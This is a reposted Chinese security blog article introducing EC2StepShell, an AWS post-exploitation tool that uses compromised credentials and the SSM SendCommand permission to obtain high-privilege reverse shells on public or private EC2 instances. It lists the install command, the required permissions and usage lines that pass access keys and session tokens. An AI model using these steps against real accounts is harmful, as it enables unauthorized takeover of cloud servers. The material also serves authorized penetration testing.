AWS云服务攻击后续工具

admin 2023年6月5日23:00:13评论11 views字数 1892阅读6分18秒阅读模式

EC2StepShell是一个AWS攻击后工具,用于获取公共或私有EC2实例中的高权限反向shell。它的工作原理是使用ssm:SendCommand向EC2实例发送命令,然后使用ssm:ListCommandInvocations检索输出。

有关该工具工作原理的更多详细信息,请访问:https://securitycafe.ro/2023/03/08/ec2stepshell—reverse—shells—private—ec2—instances/

安装:
python -m pip install EC2StepShell 

用途:
如果目标是公共EC2实例,则可以使用众所周知的有效负载获得反向shell。然而,当实例位于私有网络中或者其安全组不允许与您的IP通信时,该工具会表现出色。AWS云服务攻击后续工具

 

python -m ec2stepshell -h

AWS云服务攻击后续工具

必要条件:
您需要帐户内的编程访问权限(临时/永久访问凭据)
您需要两个权限:ssm:发送命令
ssm:列出命令调用  
必须在目标EC2实例和文档上授予操作ssm:SendCommand:
AWS-运行外壳脚本
AWS-运行PowerShell脚本
您可能无法验证这一点。在大多数配置错误的情况下,ssm:SendCommand将被授予*,但是如果您收到拒绝访问的消息,并且您确信实例id是正确的,那么这可能就是问题所在。
基本用途
# running using the default profile configured in AWS CLIpython -m ec2stepshell $instance_id --region $region
# running using a specific profile configured in AWS CLIpython -m ec2stepshell $instance_id --region $region --profile $profile
# running using persistent access credentialspython -m ec2stepshell $instance_id --region $region --access-key $access_key --secret-key $secret_key
# running using temporary access credentialspython -m ec2stepshell $instance_id --region $region --access-key $access_key --secret-key $secret_key --session-token $session_token
 
高级用法
操作系统
系统会自动检测操作系统,但是,如果遇到问题(尤其是Windows实例),请使用手动指定操作系统 --操作系统
# for MacOS and UNIX instancespython -m ec2stepshell $instance_id --region $region --os linux 
# for Windows instancespython -m ec2stepshell $instance_id --region $region --os windows
 
延迟
在尝试检索输出之前配置了初始等待时间。其默认值为0.7秒,但对于Windows和低资源实例,这可能不够。
该值可随--delay增加。对于Windows实例,我的建议是延迟3秒。
# set an initial delay of 2.5 secondspython -m ec2stepshell $instance_id --region $region --delay 2.5
重试延迟
初始等待时间过后,工具将尝试检索命令的输出。如果命令仍然没有完成它的执行,一个新的重试延迟将作为等待时间。
这可以通过--retry-delay进行调整。
默认值为0.3秒。
# set retry delay of 0.5 secondspython -m ec2stepshell $instance_id --region $region --retry-delay 0.5
重试次数
如果命令没有完成执行,工具将重试多次以检索其输出。
这可以通过--max-retries进行调整。
默认值为3。
# increase the maximum number of retries to 5python -m ec2stepshell $instance_id --region $region --max-retries 5
工具来源地址:
https://github.com/saw-your-packet/EC2StepShell

AWS云服务攻击后续工具

 

原文始发于微信公众号(网络安全交流圈):AWS云服务攻击后续工具

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月5日23:00:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AWS云服务攻击后续工具http://cn-sec.com/archives/1774317.html

发表评论

匿名网友 填写信息